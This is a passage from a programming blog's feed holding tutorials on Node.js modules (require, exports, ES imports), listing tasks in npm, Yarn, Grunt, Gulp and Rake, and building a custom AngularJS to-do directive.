<ul>
<li><a href="https://www.npmjs.com/package/lodash">lodash</a>: a collection of utility functions for manipulating arrays, objects, and strings.</li>
<li><a href="https://www.npmjs.com/package/request">request</a>: HTTP client simpler to use than the built-in <code>http</code> module.</li>
<li><a href="https://www.npmjs.com/package/express">express</a>: HTTP server for building websites and API. Again, simpler to use than the built-in <code>http</code> module.</li>
</ul>
<p>These you have to install them first, like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install express</span><br></pre></td></tr></table></figure>

<p>and then you can reference them like built-in modules, but this time they are going to be served from the <code>node_modules</code> folder that contains all the 3rd-party libraries.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">&#x27;express&#x27;</span>);</span><br></pre></td></tr></table></figure>

<h3 id="Creating-your-own-Nodejs-modules"><a href="#Creating-your-own-Nodejs-modules" class="headerlink" title="Creating your own Nodejs modules"></a>Creating your own Nodejs modules</h3><p>If you can’t find a built-in or 3rd-party library that does what you want, you will have to develop it yourself.
In the following sections, you are going to learn how to do that using <code>exports</code>.</p>
<h2 id="Exports"><a href="#Exports" class="headerlink" title="Exports"></a>Exports</h2><p>The <code>exports</code> keyword gives you the chance to “export” your objects and methods. Let’s do an example:</p>
<figure class="highlight javascript"><figcaption><span>circle.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> PI = <span class="number">3.14159265359</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">exports</span>.area = <span class="function"><span class="params">radius</span> =&gt;</span> (radius ** <span class="number">2</span>) * PI;</span><br><span class="line"><span class="built_in">exports</span>.circumference = <span class="function"><span class="params">radius</span> =&gt;</span> <span class="number">2</span> * radius * PI;</span><br></pre></td></tr></table></figure>

<p>In the code below, we are exporting the <code>area</code> and <code>circumference</code> functions. We defined the <code>PI</code> constant, but this is only accessible within the module. Only the elements associated with <code>exports</code> are available outside the module.</p>
<p>So, we can consume it using <code>require</code> in another file like follows:</p>
<figure class="highlight javascript"><figcaption><span>main.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> circle = <span class="built_in">require</span>(<span class="string">&#x27;./circle&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> r = <span class="number">3</span>;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`Circle with radius <span class="subst">$&#123;r&#125;</span> has</span></span><br><span class="line"><span class="string">  area: <span class="subst">$&#123;circle.area(r)&#125;</span>;</span></span><br><span class="line"><span class="string">  circumference: <span class="subst">$&#123;circle.circumference(r)&#125;</span>`</span>);</span><br></pre></td></tr></table></figure>

<p>Noticed that this time we prefix the module name with <code>./</code>. That indicates that the module is a local file.</p>
<h2 id="Module-Wrapper"><a href="#Module-Wrapper" class="headerlink" title="Module Wrapper"></a>Module Wrapper</h2><p>You can think of each Node.js module as a self-contained function like the following one:</p>
<figure class="highlight javascript"><figcaption><span>Module Wrapper</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">(<span class="function"><span class="keyword">function</span> (<span class="params">exports, require, module, __filename, __dirname</span>) </span>&#123;</span><br><span class="line">  <span class="built_in">module</span>.exports = <span class="built_in">exports</span> = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Your module code ...</span></span><br><span class="line"></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>We have already covered <code>exports</code> and <code>require</code>. Notice the relationship between <code>module.exports</code> and <code>exports</code>. They point to the same reference. But, if you assign something directly to <code>exports</code> you will break its link to <code>module.exports</code> — more on that in the next section.</p>
<p>For our convenience <code>__filename</code> and <code>__dirname</code> are defined. They provide the full path to the current file and directory. The latter excludes the filename and prints out the directory path.</p>
<p>For instance, for our <code>./circle.js</code> module, it would be something like this:</p>
<ul>
<li><p><code>__filename</code>: <code>/User/adrian/code/circle.js</code></p>
</li>
<li><p><code>__dirname</code>: <code>/User/adrian/code</code></p>
</li>
</ul>
<p>Ok, we have covered <code>exports</code>, <code>require</code>, <code>__filename</code>, and <code>__dirname</code>. The only one we haven’t covered is <code>module</code>. Let’s go for it!</p>
<h2 id="Module-exports-vs-Exports"><a href="#Module-exports-vs-Exports" class="headerlink" title="Module.exports vs. Exports"></a>Module.exports vs. Exports</h2><p>The <code>module</code> is not global; it is local for each module. It contains metadata about a module like id, exports, parent, children, and so on.</p>
<p><code>exports</code> is an alias of <code>module.exports</code>. Consequently, whatever you assign to <code>exports</code> is also available on <code>module.exports</code>. However, if you assign something directly to exports, then you lose the shortcut to <code>module.exports</code>. E.g.</p>
<figure class="highlight javascript"><figcaption><span>cat.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Cat</span> </span>&#123;</span><br><span class="line">  makeSound() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;<span class="built_in">this</span>.constructor.name&#125;</span>: Meowww`</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// exports = Cat; // It will not work with `new Cat();`</span></span><br><span class="line"><span class="comment">// exports.Cat = Cat; // It will require `new Cat.Cat();` to work (yuck!)</span></span><br><span class="line"><span class="built_in">module</span>.exports = Cat;</span><br></pre></td></tr></table></figure>

<p>Try the following case with <code>exports</code> and then with <code>module.exports</code>.</p>
<figure class="highlight javascript"><figcaption><span>main.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> Cat = <span class="built_in">require</span>(<span class="string">&#x27;./cat&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> cat = <span class="keyword">new</span> Cat();</span><br><span class="line"><span class="built_in">console</span>.log(cat.makeSound());</span><br></pre></td></tr></table></figure>

<p>To sum up, when to use <code>module.exports</code> vs <code>exports</code>:</p>
<p>Use <code>exports</code> to:</p>
<ul>
<li>Export named function. e.g. <code>exports.area</code>, <code>exports.circumference</code>.</li>
</ul>
<p>Use <code>module.exports</code> to:</p>
<ol>
<li><p>If you want to export an object, class, function at the root level (e.g. <code>module.exports = Cat</code>)</p>
</li>
<li><p>If you prefer to return a single object that exposes multiple assignments. e.g.<code>module.exports = &#123;area, circumference&#125;;</code></p>
</li>
</ol>
<h2 id="Imports"><a href="#Imports" class="headerlink" title="Imports"></a>Imports</h2><p>Starting with version 8.5.0+, Node.js supports ES modules natively with a feature flag and new file extension <code>*.mjs</code>.</p>
<p>For instance, our previous <code>circle.js</code> can be rewritten as <code>circle.mjs</code> as follows:</p>
<figure class="highlight javascript"><figcaption><span>circle.mjs</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> PI = <span class="number">3.14159265359</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="function"><span class="keyword">function</span> <span class="title">area</span>(<span class="params">radius</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> (radius ** <span class="number">2</span>) * PI;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="function"><span class="keyword">function</span> <span class="title">circumference</span>(<span class="params">radius</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">2</span> * radius * PI;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Then, we can use import:</p>
<figure class="highlight javascript"><figcaption><span>main.mjs</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; area, circumference &#125; <span class="keyword">from</span> <span class="string">&#x27;./circle.mjs&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> r = <span class="number">3</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`Circle with radius <span class="subst">$&#123;r&#125;</span> has</span></span><br><span class="line"><span class="string">  area: <span class="subst">$&#123;area(r)&#125;</span>;</span></span><br><span class="line"><span class="string">  circunference: <span class="subst">$&#123;circumference(r)&#125;</span>`</span>);</span><br></pre></td></tr></table></figure>

<p>And, finally you can run it using the experimental module feature flag:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">node --experimental-modules main.mjs</span><br></pre></td></tr></table></figure>

<p>If you don’t like experimental modules, another alternative is to use a transpiler. That converts modern JavaScript to older versions for you. Good options are
<a href="https://www.typescriptlang.org/docs/handbook/modules.html">TypeScript</a>,
<a href="https://babeljs.io/docs/en/babel-plugin-transform-modules-commonjs">Babel</a>, and
<a href="https://rollupjs.org/guide/en#importing">Rollup</a>.</p>
<h3 id="Troubleshooting-import-and-require-issues"><a href="#Troubleshooting-import-and-require-issues" class="headerlink" title="Troubleshooting import and require issues"></a>Troubleshooting <code>import</code> and <code>require</code> issues</h3><h4 id="Experimental-Flag"><a href="#Experimental-Flag" class="headerlink" title="Experimental Flag"></a>Experimental Flag</h4><p>If you don’t use the experimental flag <code>node --experimental-modules</code> and you try to use <code>import</code> you will get an error like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">internal&#x2F;modules&#x2F;cjs&#x2F;loader.js:819</span><br><span class="line">  throw new ERR_REQUIRE_ESM(filename);</span><br><span class="line">  ^</span><br><span class="line"></span><br><span class="line">Error [ERR_REQUIRE_ESM]: Must use import to load ES Module: bla bla blah</span><br></pre></td></tr></table></figure>

<h4 id="File-extension-mjs-vs-js-or-cjs"><a href="#File-extension-mjs-vs-js-or-cjs" class="headerlink" title="File extension .mjs vs .js (or .cjs)"></a>File extension .mjs vs .js (or .cjs)</h4><p>If you have a <code>*.mjs</code> file you cannot use <code>require</code> or it will throw an error (<code>ReferenceError: require is not defined</code>).
<code>.mjs</code> is for <code>import</code> ECMAScript Modules and <code>.js</code> is for regular <code>require</code> modules.</p>
<p>However, with <code>*.mjs</code> you can load both kinds of modules!</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; area, circumference &#125; <span class="keyword">from</span> <span class="string">&#x27;./circle.mjs&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> Cat <span class="keyword">from</span> <span class="string">&#x27;./cat.js&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> r = <span class="number">3</span>;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`Circle with radius <span class="subst">$&#123;r&#125;</span> has</span></span><br><span class="line"><span class="string">  area: <span class="subst">$&#123;area(r)&#125;</span>;</span></span><br><span class="line"><span class="string">  circumference: <span class="subst">$&#123;circumference(r)&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> cat = <span class="keyword">new</span> Cat();</span><br><span class="line"><span class="built_in">console</span>.log(cat.makeSound());</span><br></pre></td></tr></table></figure>

<p>Notice that <code>cat.js</code> is using commonJS modules.</p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>We learned about how to create Node.js modules and used it in our code.  Modules allow us to reuse code easily. They provide functionality that is isolated from other modules. The <code>require</code> function is used to load modules. The <code>exports</code> and <code>module.exports</code> allow us to define what parts of our code we want to expose. We also explored the difference between <code>module.exports</code> and <code>exports</code>. Finally, we took a quick pick about what’s coming up for modules using <code>imports</code>.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Getting started with Node.js modules: &lt;code&gt;require&lt;/code&gt;, &lt;code&gt;exports&lt;/code&gt;, &lt;code&gt;imports&lt;/code&gt;, and beyond.&lt;/p&gt;
&lt;p&gt;Modules are a crucial concept to understand Node.js projects. In this post, we cover Node modules: &lt;code&gt;require&lt;/code&gt;, &lt;code&gt;exports&lt;/code&gt; and, the future &lt;code&gt;import&lt;/code&gt;.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
  </entry>
  
  <entry>
    <title>List tasks in NPM, Yarn, Grunt, Gulp and Rake</title>
    <link href="https://adrianmejia.com/List-tasks-in-npm-grunt-gulp-and-rake/"/>
    <id>https://adrianmejia.com/List-tasks-in-npm-grunt-gulp-and-rake/</id>
    <published>2016-06-25T19:14:49.000Z</published>
    <updated>2022-10-22T17:40:13.304Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">npm run</span><br><span class="line">yarn run</span><br><span class="line">grunt --<span class="built_in">help</span></span><br><span class="line">gulp --tasks</span><br><span class="line">rake --tasks</span><br></pre></td></tr></table></figure>
]]></content>
    
    <summary type="html">
    
      &lt;figure class=&quot;highlight bash&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
      <category term="gruntjs" scheme="https://adrianmejia.com/tags/gruntjs/"/>
    
      <category term="gulpjs" scheme="https://adrianmejia.com/tags/gulpjs/"/>
    
  </entry>
  
  <entry>
    <title>Creating custom AngularJS directives for beginners</title>
    <link href="https://adrianmejia.com/creating-custom-angularjs-directives-for-beginners/"/>
    <id>https://adrianmejia.com/creating-custom-angularjs-directives-for-beginners/</id>
    <published>2016-04-08T20:41:32.000Z</published>
    <updated>2016-04-08T20:41:32.000Z</updated>
    
    <content type="html"><![CDATA[<p>Directives are one of the most important concepts to understand Angular. This tutorial takes through the basics and beyond. We will cover how to build your own HTML extensions through directives.</p>
<a id="more"></a>

<p>Angular framework relies heavily on them to teach the browser new HTML tags. Directives are a powerful tool to create reusable web components. Directives not only could be defined as new HTML tags but also as attributes, CSS classes or even HTML comments. Angular comes with many built-in (core) directives that offer numerous functionalities to your web applications right away. Furthermore, it also allows us to define our own through custom directives. We are going to focus on the later.</p>
<p>Let’s say we want to create a new HTML component that the browsers doesn’t support yet, like a To-do list:</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">my-todo</span> <span class="attr">list</span>=<span class="string">&quot;todo&quot;</span> <span class="attr">title</span>=<span class="string">&quot;Angular Todo&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">my-todo</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>If you paste that code in any browser, it will not do much. We need to use Angular to teach the browser how to interpret this new HTML element called “my-todo”. We do this by defining a new directive with its attributes.</p>
<p>Let’s initialize our app and define our new directive:</p>
<p>Create a new file called “script.js”</p>
<figure class="highlight javascript"><figcaption><span>script.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> app = angular.module(<span class="string">&#x27;myApp&#x27;</span>, []);</span><br><span class="line"></span><br><span class="line">app.directive(<span class="string">&#x27;myTodo&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> &#123;</span><br><span class="line">      restrict: <span class="string">&#x27;EA&#x27;</span>,</span><br><span class="line">      templateUrl: <span class="string">&#x27;todo.tpl.html&#x27;</span>,</span><br><span class="line">      scope: &#123;</span><br><span class="line">        list: <span class="string">&#x27;=&#x27;</span>,</span><br><span class="line">        title: <span class="string">&#x27;@&#x27;</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure>

<p>Don’t get scared if you don’t understand what’s going on right now. By the end of this tutorial, you will be able to know what each line is doing.</p>
<p>In the first line, we initialize an angular module called “myApp”.  That will return an “app” instance where we can start defining our Angular app.</p>
<p>We start by adding a directive called “myTodo”, notice that is different from “my-todo” that we used in the HTML code above. That’s because, by convention in HTML, tags names words are separated by a hyphen like “my-todo”. On the other hand, in Angular they match the same element with words joint together and capitalizing the beginning of each word, except the first one “myTodo”. This style of joining words is known as “camelCase”.</p>
<p>You will notice that a directive, takes a name “myTodo” and function. The later returns an object with a number of attributes depending on what we would like to accomplish.  In our case, we have three attributes: restrict, templateUrl, and scope. Let’s explain each one in that exact order.</p>
<h2 id="Restrict"><a href="#Restrict" class="headerlink" title="Restrict"></a>Restrict</h2><p>The “restrict” attribute tells Angular, with one letter, how are we going to create our new directive. It can take four different values ‘E’, ‘A’, ‘C’, ‘M’ or combination of them like ‘EA’. Each one has it’s own meaning:</p>
<table>
<thead>
<tr>
<th>Restrict</th>
<th>Meaning</th>
<th>Example</th>
</tr>
</thead>
<tbody><tr>
<td>E</td>
<td>Implies we are going to use our directive as a new HTML element.</td>
<td><code>&lt;my-todo list=&quot;todo&quot; title=&quot;Element&quot;&gt; &lt;/my-todo&gt;</code></td>
</tr>
<tr>
<td>A</td>
<td>Means that our directive is going to take over any HTML element that has an attribute that matches our directive name.</td>
<td><code>&lt;div my-todo list=&quot;todo&quot; title=&quot;Attr&quot;&gt; &lt;/div&gt;</code></td>
</tr>
<tr>
<td>C</td>
<td>Indicates that our directive will be found in CSS classes.</td>
<td><code>&lt;div class=&quot;my-todo&quot; list=&quot;todo&quot; title=&quot;Class&quot;&gt; &lt;/div&gt;</code></td>
</tr>
<tr>
<td>M</td>
<td>Matches HTML comments.</td>
<td><code>&lt;!--directive:my-todo attributes goes here--&gt;</code></td>
</tr>
</tbody></table>
<p>Taking our To-do example, with the combined value ‘EA’, means that will match any element with our directive as an attribute, and also, it will match any element defined as “<my-todo>”</p>
<p>It is a good practice only to use restrict to either ‘E’ or ‘A’ or both. Classes ‘C’ and comments ‘M’ could be easily misinterpreted. That’s why we are using just EA.</p>
<h2 id="Template"><a href="#Template" class="headerlink" title="Template"></a>Template</h2><p>Templates are just HTML code that could be reuse multiple times with different values or text. In order to be generic enough, they use placeholders tied to variables that could be easily replaced. Let’s create the “todo.tpl.html” with the following content:</p>
<figure class="highlight html"><figcaption><span>todo.tpl.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>&#123;&#123;title&#125;&#125;<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">ng-repeat</span>=<span class="string">&quot;todo in list&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span> <span class="attr">ng-model</span>=<span class="string">&quot;todo.completed&quot;</span>&gt;</span> &#123;&#123;todo.name&#125;&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure>


<p>Notice that our template contains placeholders with a variable such as Creating custom AngularJS directives for beginners, which is going, to be replaced by real title text. Similarly,  is going to be replaced with a task name.</p>
<p>We just used our first built-in Angular directive, in this tutorial, “ng-repeat”. This directive is going to take an array of elements, like our list and repeat itself for each one of elements and refer to them as “todo”. In other words, if the list contains 4 tasks, we are going to see 4 checkboxes each one with the name of the individual tasks. We are going to explain where “title” and “list” comes in the next section.</p>
<p>Going back to our directive definition, we could have used “template” attribute instead of “templateUrl” and take inline html code directly, but often is hard to read and we would prefer to use “templateUrl” and defined as a separated file.</p>
<p>As you might figure it out, “templateUrl” takes the name of the file containing the template. If all templates and code are in the same directory just the name of the file will do. If they are in a different folder you will need to specify the full path to reach it. To keep it simple, we are going to have all files in a single directory.</p>
<h2 id="Scope"><a href="#Scope" class="headerlink" title="Scope"></a>Scope</h2><p>Scopes are key concept to understand Angular. Scope is what glues JavaScript code with HTML and allow us to replace placeholders from templates with real values.</p>
<p>In our directive definition, we are creating a new “isolated scope” with two elements:</p>
<figure class="highlight javascript"><figcaption><span>Isolated scope</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">scope: &#123;</span><br><span class="line">  list: <span class="string">&#x27;=&#x27;</span>,</span><br><span class="line">  title: <span class="string">&#x27;@&#x27;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If you remember from our template, these are exactly the two placeholders that we had “title” and “list”. The symbols = and @ looks a little mysterious but they are not too cryptic once we know what they mean.</p>
<ul>
<li><code>@</code> Implies that the value of the attribute with the same name in the HTML element will be passed as a string. For instance, <my-todo title="The Directive"></my-todo>, will replace Creating custom AngularJS directives for beginners in our template for “The Directive”.</li>
<li><code>=</code> Binds to the value of the expression and to the literal value. This means that if we have an attribute list=“todo” and “todo” is equal to 5, then it will be replaced to 5 and not to the literal text “todo”. In our case, “todo” is going to be an array of tasks.</li>
</ul>
<p>Bear in mind, that in Angular we can have multiple scopes. So, our directives could be influenced by outer scopes. For instance, another scope could define “todo” as an array of elements. Here is where we introduce another important concept: controllers.</p>
<h2 id="Controllers"><a href="#Controllers" class="headerlink" title="Controllers"></a>Controllers</h2><p>The main purpose of controllers is to set initial values the scope and also add behavior through functions. We are going to use a controller to define the “todo” list that we want to render with our newly created directive.</p>
<p>The way we create controllers is by attaching the controller to our Angular app instance. Let’s go back to script.js and append the following:</p>
<figure class="highlight javascript"><figcaption><span>script.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">app.controller(<span class="string">&#x27;main&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params">$scope</span>)</span>&#123;</span><br><span class="line">  $scope.todo = [</span><br><span class="line">    &#123;<span class="attr">name</span>: <span class="string">&#x27;Create a custom directive&#x27;</span>, <span class="attr">completed</span>: <span class="literal">true</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">name</span>: <span class="string">&#x27;Learn about restrict&#x27;</span>, <span class="attr">completed</span>: <span class="literal">true</span>&#125;,</span><br><span class="line">    &#123;<span class="attr">name</span>: <span class="string">&#x27;Master scopes&#x27;</span>, <span class="attr">completed</span>: <span class="literal">false</span>&#125;</span><br><span class="line">  ];</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>Noticed that we defined our controller with the name “main” and pass along a function with the “$scope” parameter. This is important since, whatever we attach to the “$scope” variable it will become available in templates and other directives. We just defined our todo list as an array of objects with two properties name and completed.</p>
<h2 id="To-do-directive"><a href="#To-do-directive" class="headerlink" title="To-do directive"></a>To-do directive</h2><p>So far, we have been preparing the grounds for our directive. We have created:</p>
<ul>
<li>“myApp” module</li>
<li>“myTodo” directive</li>
<li>“todo.tpl.html” template</li>
<li>“main” controller</li>
</ul>
<p>Now, is the time to put everything together and make it work!</p>
<p>Let’s create an index.html page with the following:</p>
<figure class="highlight html"><figcaption><span>index.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">data-require</span>=<span class="string">&quot;angular.js@1.5.0&quot;</span> <span class="attr">data-semver</span>=<span class="string">&quot;1.5.0&quot;</span> <span class="attr">src</span>=<span class="string">&quot;https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">   <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;script.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;<span class="name">body</span> <span class="attr">ng-app</span>=<span class="string">&quot;myApp&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">ng-controller</span>=<span class="string">&quot;main&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">my-todo</span> <span class="attr">list</span>=<span class="string">&quot;todo&quot;</span> <span class="attr">title</span>=<span class="string">&quot;Angular To-do&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">my-todo</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>We add the AngularJS library first and then initialize the app using the built-in directive “ng-app”. Notice that this must match to module that we created “myApp” or it won’t work.</p>
<p>Later, we reference our controller using another core directive called “ng-controller”. Similarly to ng-app, it also takes a value that should match the one we defined, in this case “main” controller.  This main controller defines our “todo” as an array of tasks with names and whether they have been completed or not.</p>
<p>Finally, we start using our new directive! It takes two attributes the title and a list. If you remember, we defined a template inside the directive definition, so it knows how to render the content.</p>
<p>That’s all you need to make it work. Now try it!</p>
<iframe style="width: 100%; height: 400px;" src="//embed.plnkr.co/7ZDRclRJaJyTtRBKjIa3/" frameborder="0" allowfullscren="allowfullscren"></iframe>


<h2 id="Next-steps"><a href="#Next-steps" class="headerlink" title="Next steps"></a>Next steps</h2><p>By now you should be looking at our new To-do list. We can reuse this new directive with new to-do lists as many times as we want. Just passing different values to “list” in our “my-todo” the browser will be able to render it for us. We can also define another controller with a different $scope.todo and our directive will respond accordantly.</p>
<p>We just walked through the main attributes to create directives and discuss how to use them. We learnt how to isolate the scope of our directive and just allow certain parameters into our templates such as “list” and “title”. Also, used the “restrict” attribute to allow our directive be created either as a new HTML element or as an attribute. Finally, we explore how to use templates and bind it with our scope variables.</p>
<h3 id="Related-Posts"><a href="#Related-Posts" class="headerlink" title="Related Posts"></a>Related Posts</h3><ul>
<li><a href="/blog/2014/09/28/angularjs-tutorial-for-beginners-with-nodejs-expressjs-and-mongodb/">AngularJS Tutorial for Beginners</a></li>
<li><a href="/blog/2014/10/03/mean-stack-tutorial-mongodb-expressjs-angularjs-nodejs/">Angular and Node tutorial</a></li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Directives are one of the most important concepts to understand Angular. This tutorial takes through the basics and beyond. We will cover how to build your own HTML extensions through directives.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Web Development" scheme="https://adrianmejia.com/categories/coding/web-development/"/>
    
      <category term="Angular" scheme="https://adrianmejia.com/categories/coding/web-development/angular/"/>
    
    
      <category term="javascript" scheme="https://adrianmejia.com/tags/javascript/"/>
    
      <category term="angularjs" scheme="https://adrianmejia.com/tags/angularjs/"/>
    
  </entry>
  
  <entry>
    <title>How to scale a Nodejs app based on number of users</title>
